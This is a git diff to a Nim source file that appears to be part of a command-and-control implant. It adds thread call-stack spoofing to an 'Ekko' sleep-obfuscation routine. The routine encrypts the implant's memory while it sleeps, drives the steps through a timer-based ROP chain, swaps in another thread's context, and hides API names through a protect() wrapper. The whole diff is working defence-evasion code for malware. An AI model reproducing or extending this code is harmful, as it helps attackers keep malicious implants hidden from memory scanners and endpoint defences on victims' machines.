diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 6fc33c8..3bd059e 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -1,5 +1,6 @@ import winim/lean -import strformat +import winim/inc/tlhelp32 +import os, strformat import ../../common/[types, utils, crypto] import sugar @@ -20,19 +21,63 @@ type # Required APIs (definitions taken from NtDoc) proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").} +proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").} proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").} proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} -proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").} +proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").} +# Function for retrieving a random thread's thread context for stack spoofing +proc getRandomThreadCtx(): CONTEXT = + + var + ctx: CONTEXT + hSnapshot: HANDLE + thd32Entry: THREADENTRY32 + hThread: HANDLE + + thd32Entry.dwSize = DWORD(sizeof(THREADENTRY32)) + + # Create snapshot of all available threads + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) + if hSnapshot == INVALID_HANDLE_VALUE: + raise newException(CatchableError, $GetLastError()) + defer: CloseHandle(hSnapshot) + + if Thread32First(hSnapshot, addr thd32Entry) == FALSE: + raise newException(CatchableError, $GetLastError()) + + while Thread32Next(hSnapshot, addr thd32Entry) != 0: + # Check if the thread belongs to the current process but is not the current thread + if thd32Entry.th32OwnerProcessID == GetCurrentProcessId() and thd32Entry.th32ThreadID != GetCurrentThreadId(): + + # Open handle to the thread + hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thd32Entry.th32ThreadID) + if hThread == 0: + continue + + # Retrieve thread context + ctx.ContextFlags = CONTEXT_ALL + if GetThreadContext(hThread, addr ctx) == 0: + continue + + echo protect("[*] Spoofing with call stack of thread "), $thd32Entry.th32ThreadID + break + + return ctx + +# Ekko sleep obfuscation with stack spoofing proc sleepEkko*(sleepDelay: int) = var status: NTSTATUS = 0 key: USTRING = USTRING(Length: 0) img: USTRING = USTRING(Length: 0) - ctx: array[7, CONTEXT] + ctx: array[10, CONTEXT] ctxInit: CONTEXT + ctxBackup: CONTEXT + ctxSpoof: CONTEXT + hThread: HANDLE hEvent: HANDLE hEventStart: HANDLE hEventEnd: HANDLE @@ -43,8 +88,8 @@ proc sleepEkko*(sleepDelay: int) = try: var - NtContinue = GetProcAddress(GetModuleHandleA("ntdll"), "NtContinue") - SystemFunction032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032") + NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue")) + SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032")) # Locate image base and size var imageBase = GetModuleHandleA(NULL) @@ -64,19 +109,26 @@ proc sleepEkko*(sleepDelay: int) = status = RtlCreateTimerQueue(addr queue) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) + defer: discard RtlDeleteTimerQueue(queue) # Create events status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) + defer: CloseHandle(hEvent) status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) + defer: CloseHandle(hEventStart) status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) + defer: CloseHandle(hEventEnd) + + # Retrieve a random thread context from the current process + ctxSpoof = getRandomThreadCtx() # Retrieve the initial thread context status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD) @@ -90,6 +142,11 @@ proc sleepEkko*(sleepDelay: int) = WaitForSingleObject(hEvent, 1000) + # Create handle to the current process + status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status.toHex()) + # Preparing the ROP chain # Initially, each element in this array will have the same context as the timer's thread context for i in 0 ..< ctx.len(): @@ -115,27 +172,43 @@ proc sleepEkko*(sleepDelay: int) = ctx[2].Rcx = cast[DWORD64](addr img) ctx[2].Rdx = cast[DWORD64](addr key) - # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. - ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) - ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) - ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) - ctx[3].R8 = cast[DWORD64](FALSE) + # Ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration. + ctxBackup.ContextFlags = CONTEXT_ALL + ctx[3].Rip = cast[DWORD64](GetThreadContext) + ctx[3].Rcx = cast[DWORD64](hThread) + ctx[3].Rdx = cast[DWORD64](addr ctxBackup) - # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory - ctx[4].Rip = cast[DWORD64](SystemFunction032) - ctx[4].Rcx = cast[DWORD64](addr img) - ctx[4].Rdx = cast[DWORD64](addr key) + # Ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context. + ctx[4].Rip = cast[DWORD64](SetThreadContext) + ctx[4].Rcx = cast[DWORD64](hThread) + ctx[4].Rdx = cast[DWORD64](addr ctxSpoof) + + # ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. + ctx[5].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[5].Rcx = cast[DWORD64](GetCurrentProcess()) + ctx[5].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) + ctx[5].R8 = cast[DWORD64](FALSE) + + # ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory + ctx[6].Rip = cast[DWORD64](SystemFunction032) + ctx[6].Rcx = cast[DWORD64](addr img) + ctx[6].Rdx = cast[DWORD64](addr key) + + # Ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup. + ctx[7].Rip = cast[DWORD64](SetThreadContext) + ctx[7].Rcx = cast[DWORD64](hThread) + ctx[7].Rdx = cast[DWORD64](addr ctxBackup) # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] - ctx[5].Rip = cast[DWORD64](VirtualProtect) - ctx[5].Rcx = cast[DWORD64](imageBase) - ctx[5].Rdx = cast[DWORD64](imageSize) - ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) - ctx[5].R9 = cast[DWORD64](addr value) + ctx[8].Rip = cast[DWORD64](VirtualProtect) + ctx[8].Rcx = cast[DWORD64](imageBase) + ctx[8].Rdx = cast[DWORD64](imageSize) + ctx[8].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) + ctx[8].R9 = cast[DWORD64](addr value) # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete - ctx[6].Rip = cast[DWORD64](SetEvent) - ctx[6].Rcx = cast[DWORD64](hEventEnd) + ctx[9].Rip = cast[DWORD64](SetEvent) + ctx[9].Rcx = cast[DWORD64](hEventEnd) # Executing timers for i in 0 ..< ctx.len(): @@ -144,18 +217,12 @@ proc sleepEkko*(sleepDelay: int) = if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) - echo "[*] Triggering sleep obfuscation" + echo protect("[*] Triggering sleep obfuscation") status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) except CatchableError as err: - echo "[-] ", err.msg - - finally: - # Cleanup - if queue != 0: discard RtlDeleteTimerQueue(queue) - if hEvent != 0: CloseHandle(hEvent) - if hEventStart != 0: CloseHandle(hEventStart) - if hEventEnd != 0: CloseHandle(hEventEnd) \ No newline at end of file + sleep(sleepDelay) + echo protect("[-] "), err.msg \ No newline at end of file